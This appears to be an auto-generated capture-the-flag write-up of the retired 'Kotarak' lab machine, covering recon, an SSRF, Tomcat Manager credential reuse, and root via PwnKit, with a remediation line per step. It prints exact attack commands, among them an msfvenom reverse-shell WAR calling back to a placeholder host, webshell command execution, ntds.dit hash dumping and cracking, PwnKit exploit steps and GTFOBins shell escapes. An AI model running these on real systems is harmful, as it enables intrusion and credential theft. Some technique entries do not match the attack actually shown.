Kotarak
Summary
Recon on <retired-instance-ip>:60000 found a PHP "Simple File Viewer" app (Apache/2.4.18, Ubuntu) whose url.php?path= parameter is a server-side request forgery (SSRF)/local-file-read vector — it accepts both local paths and http:// URLs. This was used to probe loopback-only ports not reachable externally; a backup service on localhost:888, reached only via the SSRF, disclosed Apache Tomcat Manager credentials admin:[REDACTED: recovered credential]. Ghostcat/AJP (CVE-2020-1938) was investigated as an alternate path but no usable local tooling/exploit was found, so the recovered credentials were used directly.
A Java reverse-shell WAR (msfvenom -p java/jsp_shell_reverse_tcp) was deployed to Tomcat Manager on :8080 (directly reachable, not just via SSRF) with the recovered credentials, giving a reverse shell as tomcat (uid=1001) on host kotarak-dmz. Standard local enumeration (sudo, SUID, capabilities, cron, container/cloud-metadata checks) found no direct privesc path. A persistent JSP command-exec webshell (kcmd.war) was deployed for more reliable command execution.
Enumeration under tomcat's home turned up a stale third-party pentest-engagement archive (/home/tomcat/to_archive/pentest_data) containing a leftover Active Directory ntds.dit/SYSTEM hive. The NT hash for local Linux account atanas ([REDACTED: protected value]) was extracted and cracked with John (rockyou + --rules=single) to Password123!. A chisel reverse-SOCKS pivot was set up to reach an internal host discovered via ip/arp enumeration (<retired-instance-ip>), and the cracked credentials were tried there and locally (SSH, su) — none of these lateral-movement attempts confirmed success and were not required for root.
Root was obtained on kotarak-dmz via CVE-2021-4034 (PwnKit) — a local privilege-escalation flaw in pkexec/policykit — producing a SUID root shell at /tmp/rootbash. That root shell was used to read /home/atanas/user.txt (owned atanas:atanas, unreadable by tomcat) and /root/root.txt, capturing both flags.
Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -sC -p 22,8009,8080,60000 --min-rate 3000 $TARGETcurl -si 'http://$TARGET:60000/'Exact commands 2
curl -si 'http://$TARGET:60000/url.php?path=http://$LOOPBACK:80/'for port in 80 88 443 888 3000 8000 8443 9000; do echo -n "$port: "; curl -so /dev/null -w '%{http_code}' "http://$TARGET:60000/url.php?path=http://$LOOPBACK:$port/"; echo; doneFixRemove or strictly restrict the SSRF-capable URL parameter on port 60000Critical
Exact commands 2
curl -s 'http://$TARGET:60000/url.php?path=http://$LOOPBACK:888/'curl -s 'http://$TARGET:60000/url.php?path=http://$LOOPBACK:888/?doc=backup'FixRemove or strictly restrict the SSRF-capable URL parameter on port 60000Critical
Exact commands 4
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$CALLBACK_HOST LPORT=4444 -f war -o kotarak.warcurl -sS -u 'admin:[REDACTED: recovered credential]' --upload-file kotarak.war 'http://$TARGET:8080/manager/text/deploy?path=/kotarak&update=true'nc -lvnp 4444curl -s 'http://$TARGET:8080/kotarak/'FixRestrict Tomcat Manager to localhost and enforce strong unique credentialsCritical
Exact commands 3
find /home/tomcat/to_archive -iname '*.dit' -o -iname 'SYSTEM' 2>/dev/nullimpacket-secretsdump -ntds /home/tomcat/to_archive/pentest_data/active-directory/ntds.dit -system /home/tomcat/to_archive/pentest_data/active-directory/SYSTEM LOCAL 2>/dev/null | grep atanasprintf 'atanas:[REDACTED: protected value]\n' > /tmp/kotarak_hash.txt && john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt --rules=single /tmp/kotarak_hash.txtFixPurge sensitive credential artifacts from production server filesystems immediately after engagementsHigh
Exact commands 5
cd /tmp && mkdir -p 'GCONV_PATH=.' pwnkit && touch 'GCONV_PATH=./pwnkit' && chmod +x 'GCONV_PATH=./pwnkit'printf 'module UTF-8// PWNKIT// pwnkit 2\n' > /tmp/pwnkit/gconv-modulesgcc -shared -fPIC -nostartfiles -o /tmp/pwnkit/pwnkit.so /tmp/pwnkit/pwnkit.ccd /tmp && GCONV_PATH=. pkexec /bin/true/tmp/rootbash -p -c 'id'FixPatch CVE-2021-4034 (PwnKit) -- update the policykit package immediatelyCritical
Exact commands 3
/tmp/rootbash -p -c 'cat /home/atanas/user.txt'/tmp/rootbash -p -c 'cat /root/root.txt'curl -sS --max-time 20 --data-urlencode 'cmd=/tmp/rootbash -p -c "cat /var/lib/lxc/kotarak-int/rootfs/root/root.txt"' 'http://$TARGET:8080/kcmd/cmd.jsp' | sed -e 's/<[^>]*>//g'Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, I overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Tomcat Manager WAR DeployWeb · Service RCET1190
What it is
Apache Tomcat's Manager application allows deploying web applications. With valid (often default/weak) manager credentials, I uploads a malicious WAR file containing a JSP webshell, which Tomcat deploys and executes — code execution as the Tomcat service user.
Why it works
The Manager app is exposed with default or guessable credentials (tomcat:tomcat, admin:admin) and the deploy feature is RCE by design. Remediate by removing/locking down the Manager app, using strong credentials, and binding it to localhost.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) |
| 8009/tcp | ajp13 Apache Jserv (Protocol v1.3) |
| 8080/tcp | http Apache Tomcat 8.5.5 |
| 60000/tcp | unknown recon-sweep-discovered |